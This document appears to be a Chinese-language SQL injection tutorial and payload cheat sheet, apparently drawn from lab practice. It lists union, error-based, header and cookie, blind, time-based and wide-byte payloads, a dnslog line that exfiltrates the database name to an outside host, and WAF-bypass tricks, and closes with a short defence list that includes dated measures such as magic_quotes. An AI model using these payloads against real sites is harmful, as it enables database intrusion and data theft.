SQL注入形成原因
SQL注入漏洞的形成原因是在数据交换中,前端的数据传入后台未进行严格判断和处理,导致传入的数据拼接到SQL语句中后被执行。导致数据库信息泄露和损害。
SQL注入点与验证
SQL验证
1.“单引号”
在链接后加一个单引号,如果页面不能正常显示,浏览器返回一些异常信息,报错信息,SQL语法错误,该链接可能存在注入漏洞,说明代入数据库查询,与数据库交互了。
2.and 1=1 和 and 1=2
很多时候提交包含单引号的链接时,会提示非法字符,或者不返回任何信息,但这并不等于不存在SQL注入漏洞此时可使用经典的“1=1和1=2”法进行检测,在链接地址后分别加上 and 1=1 # 和 and 1=2 # 进行提交,如果返回不同的页面,说明存在SQL注入漏洞。
SQL注入点
1.与数据库交互的动态页面,带参数
http://www.*****.com/***.asp?id=xx (ASP注入)
http://www.*****.com/***.php?id=xx (PHP注入)
http://www.*****.com/***.jsp?id=xx (JSP注入)
2.登录、注册、更新、查询、删除、留言板等,增删改查
Http Header头、Cookice、User-Agent、XFF、Referer、GET、POST、request提交数据包的地方 关键字:select、insert、update、$_GET、$_POST、$_REQUEST
SQL注入的分类
常规注入
字符型
搜索型
xx型
数字型(POST)
union注入
查询主查询字段
xx' order by 1#
查看可写字段
xx' union select 1,2,3 #
查询数据库名、当前用户、版本
xx' union select database(),user(),version() #
基于函数报错注入
为什么要用函数报错呢,是因为一些注入测试手段,可能看不到报错,被屏蔽或者处理了,就不好判断是否有注入点,所以需要函数报错注入。一次只能查询一条数据,没有联合查询 union select 效率高。
三个常用的报错函数 Updatexml() floor() extractvalue()
payload格式 xx' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
insert注入
insert注入,就是前端注册提交的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数据时没有做防SQL注入的处理,导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。
payload格式 'or updatexml(1,concat(0x7e,(select database())),1) or'
update注入
与insert注入的方法大体相同,区别在于update用于用户登陆端(或者修改数据的地方)
delete注入
一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入,一般普通的用户是没有权限删除数据的,管理员才行。
payload格式 or updatexml(2,concat(0x7e,(database())),0)
#注意这是个数字型注入,所以不要引号昂
Http Header注入
登陆后去BurpSuite中找到登陆地GET请求,注意,不是点击登录那个请求,而是登录成功之后加载页面的那个get请求昂,把请求发送到Repeater模块中,去除User-Agent:,然后输入' 然后运行后观察MYSQL语法报错然后发现存在SQL注入漏洞。这时候可以设置payload。在User-Agent输入 payload Mozilla' or updatexml(1,concat(0x7e,database ()),0) or ' ,因为有些企业把user-agent等请求头键值对的数据也保存在了数据库里面。
在User-Agent输入 payload Mozilla' or updatexml(1,concat(0x7e,database ()),0) or '
Cookie注入
Cookie是网站为了识别用户身份来跟踪会话的,虽然Cookie是由后端生成的,但每次页面跳转,后端都会对前端的Cookie的信息进行验证,但如果后端获取Cookie后放在数据库中进行拼接,那么这也将是一个SQL注入点。在 ant[uname]=admin后添加一个’观察反馈MYSQL的语法报错,发现了存在SQL注入漏洞,在设置Payload 'and updatexml (1,concat(0x7e,database()),0)#,观察报错和之前是否相同。
payload格式 ant[uname]=admin后设置Payload 'and updatexml (1,concat(0x7e,database()),0)#
盲注
盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端 我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注。
布尔型
根据名字第1个字母的ascii码判断
select ascii(substr(database(),1,1))>xx;
根据名字长度判断
select length(database())<xx
时间型
xx' and if(length(database())>3,sleep(10),null) #
benchmark() 重复执行某表达式
select benchmark(count,expr),是重复执行count次expr表达式,使得处理时间很长,来产生延迟,
比如select benchmark(1000000,encode("hello","good"));
select benchmark( 5000000, md5( 'test' ));
报错型
宽字节注入
当我们把php.ini文件里面的magic_quotes_gqc参数设为ON时,所有的'(单引号),"(双引号),(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。如果程序的默认字符集是GBK等宽字节字符集,则MYSQL用GBK的编码时,会认为 %df 是一个宽字符,也就是说:%df\'= %df%5c%27=運' ,一个汉字占了前面两个字节,那么就剩下%27了,它是单引号,有了单引号就好注入了。
dnslog注入
and (select load_file(concat('\\\\',(select database()),'.vlfrr9.dnslog.cn\\abc')))--+&Submit=Submit#
注入常用函数
order by 判断数据库的列数
xx' order by 3 #
length (可选)规定被返回字符串的长度。
xx' and length(database())>3 #
string 返回其中一部分的字符串。
xx' and ascii(substr(database(),1,1))=112 #
if (时间盲注)
xx' and if(length(database())>3,sleep(10),null) #
ascii 转换对应的ascii码
SQL注入过waf的方法
1.数据分块传输
2.双写,大小写混合
3.参数污染 id=1&id=1
4.内联注释 /*!select*/
5.进行两次编码 url unicode bset64
6.组合法 如 and 可以用&&再 URL 编码
7.替换法,如 and 改成&&;=可以用 like 或 in 等
8.关键字可以用%(只限 IIS 系列)。比如 select 可以 sel%e%ct
SQL注入的防范
1.waf
2.限制好数据库权限
3.关闭网站的错误提示
4.开启魔法符号 magic_quotes_gpc=on
5.对输入进行过滤
6.is_numeric(),参数只能输入数字
7.根据业务需求进行正则过滤,比如要求输入手机号,则只允许输入手机号格式的数字
8.PDO预处理